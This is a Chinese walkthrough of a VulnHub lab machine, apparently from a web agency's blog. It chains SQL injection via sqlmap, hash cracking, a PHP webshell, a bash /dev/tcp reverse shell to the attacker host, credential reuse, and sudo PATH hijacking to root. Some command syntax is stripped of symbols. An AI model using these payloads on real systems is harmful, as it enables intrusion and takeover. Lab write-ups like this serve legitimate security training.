尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
Monitoring靶机实战:从SQL注入到sudo提权的完整渗透攻击链
如果你在 vulnhub 靶场列表里翻到一台叫Monitoring的机器第一眼多半会觉得它平平无奇开放端口不多首页看起来还是个普通的监控面板。但我自己打下来之后最深的感受是——这类靶机考查的不是某个 0day 的利用难度而是你能不能把一整条攻击链完整走通。从信息收集到弱口令从命令注入到本地横向最后再做一次提权整条链路几乎没有夸张的漏洞全是常规思路加细心。正因为如此Monitoring 很适合刚把 nmap、Burp Suite、sqlmap 玩熟练但还没形成完整渗透思维的同学。这篇文章就记录我完整打靶的过程以及中间踩过的一些坑和思考。1. 靶场环境准备与主机发现别急着扫端口1.1 网络环境与虚拟机配置我习惯用 VirtualBox 搭靶场Kali Linux 作为攻击机Monitoring 作为目标机。两块虚拟机全部使用 Host-Only 网络这样既保证攻击机可以访问靶机又不会把靶机暴露到物理网络里产生不必要的风险。启动靶机后先不要急着开浏览器第一步永远是确认目标在哪个网段。我用ip addr看攻击机的地址发现 Kali 自己拿到的 IP 是 192.168.56.102子网掩码是 24 位。这意味着整个靶场环境大概率就在 192.168.56.0/24 这个网段内。接着用 netdiscover 做一次主机发现命令很简单sudo netdiscover -r 192.168.56.0/24输出里很快出现了两个活跃主机一个是我自己的 Kali另一个就是靶机IP 为 192.168.56.105。如果你用的是 VMware网卡名和网段可能不同但思路一模一样先确认自身 IP 和网段再用 ARP 扫描定位目标。注意如果靶机没出现在 netdiscover 结果里优先检查两台虚拟机的网络模式是否一致VBox 里常见问题是靶机用了 NAT 而攻击机用了 Host-Only这样根本不在同一广播域。1.2 端口扫描结果与初始判断目标 IP 确认后我直接上了全端口扫描。很多时候新手图快用nmap -sS -p 1000结果漏掉关键端口后面卡几个小时。靶机网络环境简单跑全端口并不会等太久sudo nmap -sS -sV -p- 192.168.56.105扫描结果如下端口服务版本信息22/tcpSSHOpenSSH 7.6p180/tcpHTTPApache httpd 2.4.298080/tcpHTTPApache httpd 2.4.29看到 80 和 8080 同时开放我第一反应是这个靶机存在两个 Web 服务。很多监控类靶机的设计思路会刻意区分“展示页面”和“后台管理入口”如果只扫常见端口很可能只会发现 80 而漏掉 8080等于把最容易进的入口漏掉。顺手跑一遍默认脚本扫描补充服务细节sudo nmap -sC -sV -p 22,80,8080 192.168.56.105从扫描结果看SSH 版本是 7.6p1对应的 Ubuntu 版本不算特别老。Apache 头信息没有暴露太多内容。到了这一步我不着急做暴力破解先去看 Web 页面往往效率更高。1.3 全端口扫描习惯为什么值得养成这里想多说一句。我见过不少人在真实渗透测试和靶场练习里只扫前 1000 个端口理由是“前 1000 个端口覆盖了绝大多数场景”。这话放在互联网场景下有点道理但在靶场里反而容易错过出题人精心设计的入口。Monitoring 这台机器如果把 8080 忽略掉后面很多步骤根本无从谈起。后来我养成的习惯是确认目标存活之后先nmap -sS -p-跑一遍全端口同时再用masscan快速粗扫两个结果交叉比对。一次全端口扫描也就几分钟却能把攻击面完整摸清楚。这一步略省后面的路往往更难走。2. 监控面板暴露的攻击面指纹识别与目录踩点2.1 首页与指纹识别浏览器访问 http://192.168.56.105页面显示一个典型的监控登录页标题带 Monitoring 字样。这类面板在真实企业里非常常见很多运维团队会把内网各主机的 CPU、内存、磁盘、服务状态集中展示却很少对前台做足够的安全加固。我没有急着在登录框里输入 admin/admin 之类的弱口令先用 whatweb 做指纹识别whatweb http://192.168.56.105结果里只显示了 Apache 与 PHP 版本没有暴露具体应用名称。我又查看了页面源码和 robots.txt。源码注释里出现了/includes/路径robots.txt 中也明确禁止爬取/includes/和/backup/这两个目录。对于靶场来说“禁止爬取”往往等于“此地无银三百两”这两个路径立刻被我标记为高价值目标。同时访问 8080 端口显示的是另一个登录页页面风格和 80 端口完全不同更像是一个老旧的 PHP 后台管理界面。我暂时把 8080 记下来先集中精力看 80 端口的主业务。2.2 目录扫描结果备份文件与隐藏入口拿到 robots.txt 的提示后我用 gobuster 对 80 端口做目录扫描gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,zip,bak目录字典很快跑出几个值得注意的结果路径类型说明/admin.phpPHP 页面后台登录入口/backup/目录备份目录列目录有效/includes/目录源代码包含目录可能泄露配置/vendor/目录PHP 依赖组件目录可用于版本指纹/graph.phpPHP 页面绘图/监控数据展示模块顺着 /backup/ 点进去发现里面躺着一个config.php.bak文件。下载到本地打开内容直接给出了数据库连接信息数据库名 monitor_db用户名 monitor_admin密码是一个肉眼可见的弱口令Monitor123。这个密码在后续步骤里成了关键的横向跳板。这一步让我更确信target 机器的设计者就是故意让备份文件暴露敏感信息的。现实中这样的案例比比皆是运维把配置文件随手扔进 web 根目录再在 robots.txt 里试图隐藏结果反而帮了攻击者定位文件。2.3 为什么监控类应用总被做成靶机可能有人会问监控面板为什么这么频繁地出现在 vulnhub 靶机和真实攻击面里原因主要有三个第一监控应用本身功能杂。绘图、告警、数据源管理、报告导出每一个功能都可能涉及外部输入和系统命令执行攻击面比普通博客系统大得多。第二监控系统权限高。为了采集系统信息、执行远程检查监控后台经常需要高权限运行一旦被攻破就很容易顺势提权。第三运维对监控系统的安全意识普遍薄弱。很多内部系统从部署到下线都维持默认口令或者把凭据明文写在配置里几乎成了攻击者最爱的“内部突破口”。所以打这样一台靶机练的不只是单一漏洞利用而是对 Web 应用攻击面的整体感知。指纹识别找到组件版本目录扫描找到敏感文件再结合业务功能发掘注入点这才是监控类靶机的标准玩法。3. 初始突破口从 SQL 注入到后台管理员权限3.1 登录框之外的高价值参数在 /admin.php 里我简单试了几组弱口令admin/admin、admin/password、admin/Monitor123全部失败。一个常见的新手误区是看到登录框就死磕实际上监控面板的核心风险往往在已登录功能或者半公开的查询模块。后台没进去之前我把目光转到 /graph.php。这个页面用于按月份、按主机展示监控图表URL 长这样GET /graph.php?typebymonthid35hostlocalhostid 参数明显会被带入数据库查询。这类绘图模块的常规实现是把用户传入的主机名、图表 ID 直接拼接成 SQL 查询导致注入。我先手工验证在 id35 后加了一个单引号GET /graph.php?typebymonthid35页面响应报错出现了明显的 SQL 语法异常信息证明这里存在注入。接下来我没有急着上 sqlmap而是先用时间盲注确认注入类型。请求改成GET /graph.php?typebymonthid35 AND SLEEP(3)-- -响应耗时大约 3 秒确认是时间盲注。到这一步就可以放心用工具了。3.2 用 sqlmap 提取用户表数据确认注入点后我用 sqlmap 做进一步数据提取但保持谨慎只对这一个 URL 进行探测sqlmap -u http://192.168.56.105/graph.php?typebymonthid35 --batch --level 3 --risk 3sqlmap 很快识别出注入类型并列出当前库中的表。重点有两张users和monitor_data。users 表显然是最想看的直接 dumpsqlmap -u http://192.168.56.105/graph.php?typebymonthid35 --batch -D monitor_db -T users --dump结果表结构很简单id、username、password账号 admin 对应的密码字段是一串 32 位 MD5 哈希e10adc3949ba59abbe56e057f20f883e。我不打算硬解复杂的哈希先丢给 hashcat 跑 rockyou 字典hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt结果出来得很快这段哈希对应的明文就是123456。不得不承认很多内部系统的管理员口令就是这么随意。拿着 admin/123456 登录 /admin.php后台页面顺利打开。至此一名普通攻击者已经从“未认证状态”跨到了“后台管理员状态”。3.3 管理员权限的真正价值登录后台后首页有一个“监控项管理”模块可以添加主机、设置监控脚本、导出检查报告。真正的高价值功能是“导出报告”页面允许输入报告标题、报告内容并选择输出格式。我意识到这个功能内部很可能直接把内容写进 web 目录下的某个文件而不是通过 PDF 组件动态渲染。如果报告内容包含 PHP 代码那么后续我只需要访问生成的文件就能得到一个 webshell。顺带提一句这里我用的是搜索型参数注入加时间盲注的组合实际遇到类似场景时还应该留意报错注入和联合查询注入因为不同数据库配置下最优的利用方式不同。靶机里跑通一种路径就行但理解多种注入分类能让你在真实业务里更灵活。4. 反弹 Shell 与主机横向从 Webshell 到低权用户4.1 借助报告导出模块落地 PHP 后门后台的报告导出功能我打开创建报告页面看到两个关键输入框报告文件名和报告模板内容。文件名的默认值是report_20250101.html我试着改成backdoor.php。模板内容里填了一段简单的 PHP 代码这里没有直接写完整反弹 shell而是先用一个轻量级验证?php echo system($_GET[cmd]); ?提交报告后访问http://192.168.56.105/backup/backdoor.php?cmdid页面返回了www-data的执行结果。这证明报告文件被直接写入到了 web 根目录下可访问的位置并且 PHP 代码成功运行。提醒在真实授权测试中写入 webshell 属于高风险操作必须严格限定在授权范围内。靶场里的路径可以大胆复现但不要把同样方法用到未经授权的公网系统上。4.2 反弹 Shell 的参数细节与稳定性处理有了命令执行接下来把轻量级后门升级成完整反弹 Shell。先在 Kali 上监听端口nc -lvnp 4444然后通过 backdoor.php 的 cmd 参数执行bash -c bash -i /dev/tcp/192.168.56.102/4444 01用 URL 编码传输curl 完整命令如下curl http://192.168.56.105/backup/backdoor.php?cmdbash-cbash-i%26/dev/tcp/192.168.56.102/44440%261监听端很快收到了 shell。不过反弹 shell 一开始很不稳定输入命令会卡顿方向键也显示异常。我优先做了 TTY 升级python3 -c import pty;pty.spawn(/bin/bash)按CtrlZ把会话切到后台在 Kali 本地执行stty raw -echo; fg export TERMxterm这样 shell 就变成完整交互式终端可以用 clear、vim、su 这些需要 TTY 的工具了。这个步骤看着不起眼但凡是打靶场打得多的人都知道一个稳定的 TTY 对后续操作有多重要。4.3 翻配置文件发现数据库凭据并横向切换用户拿到 www-data shell 后我首先看 web 根目录下的配置文件。备份文件已经泄露过数据库口令但真实应用通常会在 config.php 里再存一份运行配置cat /var/www/html/config.php里面写着数据库主机、用户名和密码和备份文件一致。接下来尝试连接本地 MySQLmysql -u monitor_admin -p Enter password: Monitor123数据库连接成功。查看 users 表时我注意到表里除了 admin 之外还有一个用户 james密码字段是另一串 MD5 哈希。用同样的字典跑了一下解出明文为james123。这其实是一个非常典型的横向利用场景数据库里藏着系统用户的密码应用用户凭据和系统用户凭据完全复用。我直接尝试 SSH 登录ssh james192.168.56.105密码输入james123登录成功。此时我已经从无权限的 www-data 变成了一个可以交互登录的普通系统用户 james。横向移动完成接下来进入提权环节。5. 提权链路滥用监控维护脚本的 sudo 配置5.1 sudo -l 审计找到突破口登录 james 后我第一时间执行sudo -l结果出现了关键信息User james may run the following commands on monitoring: (root) NOPASSWD: /usr/local/bin/monitor.sh这里的意思是james 可以在不输入密码的情况下以 root 身份执行/usr/local/bin/monitor.sh。看到这一行的瞬间思路基本明确——审计这个脚本找出它哪里可以被劫持。查看脚本内容cat /usr/local/bin/monitor.sh脚本逻辑不复杂大致是采集磁盘占用、内存使用和负载信息然后格式化输出到/var/log/monitor/check.log。关键在于脚本内部调用了几个命令#!/bin/bash date$(date %F) disk$(df -h / | tail -n 1) mem$(free -m | head -n 2 | tail -n 1) load$(uptime | awk -Faverage: {print $2}) ...问题非常明显df、free、uptime、tail、awk这些命令都没有使用绝对路径。在以 root 身份执行时系统会按 PATH 环境变量寻找命令。如果 james 能在自己的环境中把 PATH 改成包含可写目录的顺序就能让脚本调用到伪造的命令。5.2 利用环境变量劫持维护脚本获取 root确认漏洞原理后我在 /tmp 下创建了一个恶意的free脚本。因为脚本中的free -m会被真正执行只要 PATH 劫持生效它执行的就是我的伪造版本cat /tmp/free EOF #!/bin/bash cp /bin/bash /tmp/rootbash chmod us /tmp/rootbash EOF chmod x /tmp/free然后把 /tmp 放到 PATH 最前面执行维护脚本export PATH/tmp:$PATH sudo /usr/local/bin/monitor.sh脚本执行结束后检查 /tmpls -l /tmp/rootbash出现了一个带 SUID 位的 rootbash。运行它/tmp/rootbash -p此时获得一个 root 权限的 bash 线程。接着读取最终的 flagcat /root/root.txt到这里整台靶机拿下。整个过程没有使用任何复杂漏洞核心就是把“sudo 免密脚本中的不安全命令调用”利用到极致。5.3 完整攻击链回顾简单梳理一下这条链子阶段关键动作主机发现netdiscover 定位靶机 192.168.56.105端口扫描全端口发现 22、80、8080目录扫描发现 /backup/config.php.bak获取数据库凭据漏洞利用graph.php 的 id 参数存在时间盲注数据提取获取 admin 的 MD5 哈希并破解为 123456后台写入通过报告导出模块写入 PHP 后门反弹 Shell获得 www-data 权限横向移动数据库中找到 james 的密码并 SSH 登录提权劫持 monitor.sh 中的 free 命令获取 root05.3 之后不需要再加内容。6. 复盘与踩坑记录哪些细节最容易被忽略6.1 信息收集阶段的三处遗漏打第一遍的时候我在信息收集上吃过亏。最初只扫了默认端口8080 没有被发现导致我盯着 80 端口的登录框折腾了很久。补跑全端口之后才意识到另一个入口一直摆在那里。这类教训在靶场里成本不大在真实测试里就可能意味着错过整个攻击面。第二个坑是 backup 目录。第一次看到 robots.txt 里出现/backup/我并没有第一时间访问而是先去试登录弱口令白白浪费了时间。后来养成习惯凡是 robots.txt 里出现过的路径优先手动访问一遍。第三个坑是忽略源码注释。页面 HTML 注释里写了!-- config moved to includes --这行提示如果能早点注意到就能更早转向配置文件挖掘而不是在登录框里耗时间。6.2 提权失败的常见原因这次提权环节虽然顺利但我复盘时也想了很久如果 monitor.sh 里的命令都写了绝对路径或者脚本通过/usr/local/bin内部的包装调用命令PATH 劫持就完全不适用。遇到这类情况需要立刻转移思路看看有没有 cron 任务、SUID 文件、内核漏洞、可写文件等其他提权面。一个常见错误是拿到 www-data shell 后马上想提权却忘了先确认当前用户能不能 sudo也忘了去读历史命令和其他配置文件。更稳妥的做法是形成一个提权检查清单先看sudo -l再看 SUID 文件再查 crontab然后看内核版本最后再考虑脏牛这类内核漏洞。顺序对了效率自然高。6.3 给新手的练习建议与工具清单如果你是第一次尝试类似靶机我建议不要只看 writeup而是按下面这个节奏练先盖住任何攻略自己动手做信息收集尽量把看到的内容记录下来。某一环卡住超过 30 分钟再去看提示但只看下一步的提示不要一口气看完。完整打完一遍之后把虚拟机的快照回滚到初始状态重新打一遍。第二遍的时候你会发现很多“原来如此”的细节变成了条件反射。把关键工具固化成自己的“工具箱清单”netdiscover、nmap、gobuster、Burp Suite、sqlmap、hashcat、nc、python3 的 pty 模块基本覆盖了 80% 的常规场景。工具清单虽然重要但我更想强调的一点是打靶场真正练的是决策顺序和假设验证。先猜目标哪里可能有脆弱点再决定用什么工具去验证而不是拿着工具一把梭。Monitoring 这台机器把这条思路展示得非常清楚一个看似平静的监控面板背后是配置泄露、注入、弱口令、PATH 劫持的组合链条。你能在复盘时把这几个环节串成一个完整故事这台靶机就没有白刷。
RELATED

相关推荐

VulnHub Monitoring靶机实战:从SQL注入到密码复用提权

VulnHub Monitoring靶机实战:从SQL注入到密码复用提权

1. 项目概述 1.1 这靶场到底卡在哪 VulnHub 的 Monitoring 这台机器,属于那种看着不起眼、实际能逼疯一批人的中高难度靶机。它不像典型的 CMS 漏洞利用,也不用你死磕内核提权,真正难受的点在于信息收集的深度和横向思路的跳跃性。 整台机器…

📅 2026/10/21 17:31:29
Hack World 1靶场实战:SQL注入布尔盲注手工与自动化脚本

Hack World 1靶场实战:SQL注入布尔盲注手工与自动化脚本

SQL注入到现在还是每个搞Web安全的人绕不开的一课。Hack World 1这个靶场题目,特别适合用来练布尔盲注手工利用——它把过滤规则藏得恰到好处,既不会让你一眼就猜完,又不会难到无从下手。题目页面很简单:一个输入框,一…

📅 2026/10/21 17:31:29
Mac上Homebrew换源全攻略:解决brew install卡顿与更新失败

Mac上Homebrew换源全攻略:解决brew install卡顿与更新失败

Homebrew在Mac上几乎成了开发者的标配,装个nginx、wget、ffmpeg都得靠它。但有个问题大家迟早会遇到:brew install啥都挺顺,偏偏卡在Updating Homebrew和fetching的环节上,一卡就是十几分钟,最后还可能直接报错失败。这…

📅 2026/10/21 17:31:29
MORE NEWS

更多资讯

📰

深入解析TEE可信执行环境:从TrustZone架构到OP-TEE应用开发实战

1. 为什么现在要啃TEE这块硬骨头手机里的指纹支付、人脸识别、网银密钥,这些敏感操作你以为是App自己在扛?其实背后站着一个几乎不露脸的“安全屋”——TEE(可信执行环境)。这两年Android生态里,TEE已经从厂商的私有后…

📰

SRIM带电粒子输运建模:从命令行配置到RBS实测校准

简介:本资源是一份面向材料科学、核物理及半导体研发领域的专业技术文档,系统介绍SRIM(Stopping and Range of Ions in Matter)离子输运模拟程序的核心原理与工程应用。文档详细解析SR(Stopping and Range)…

📰

lingbot-map:自动化映射引擎的设计与实现

1. 从一个空输入说起:lingbot-map 到底在解决什么问题 第一次看到 lingbot-map 这个标题,正文、关键词、摘要全是空的,很多人第一反应是"这信息量也太少了"。但恰恰是这种极简的命名方式,反而暴露了它最核心的定位——…

📰

AI裁判如何化解文献冲突?从证据等级到综述写作的实战指南

当一篇综述里出现两个完全对立的结论,一篇引用来自某院士团队的大样本研究,另一篇来自某顶尖实验室的严谨随机对照试验,而它们给出的答案恰恰相反——这种时候,正在奋笔疾书的你该把哪句话写进论文?我的答案是&#xf…

📰

数据治理五域模型:标准、质量、元数据、主数据与安全的协同落地方法论

简介:本资源是一份面向企业数据治理负责人、数据管理工程师及IT架构师的《数据治理五域模型建设方案》专业PPT课件,系统解决企业在数据量激增背景下面临的数据质量低下、安全风险突出、流程不规范、价值难释放等核心问题。方案以管控域(组织、…

📰

Hive表数据加载六种方式原理与实战选型指南

1. 项目概述:为什么表加载这件事值得单独写六种方式?在某数据平台的实际运维中,我见过太多人把“往Hive表里塞数据”当成一个点几下鼠标、敲一行INSERT INTO就完事的简单操作。直到某天凌晨两点,A同学在生产环境执行LOAD DATA INP…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬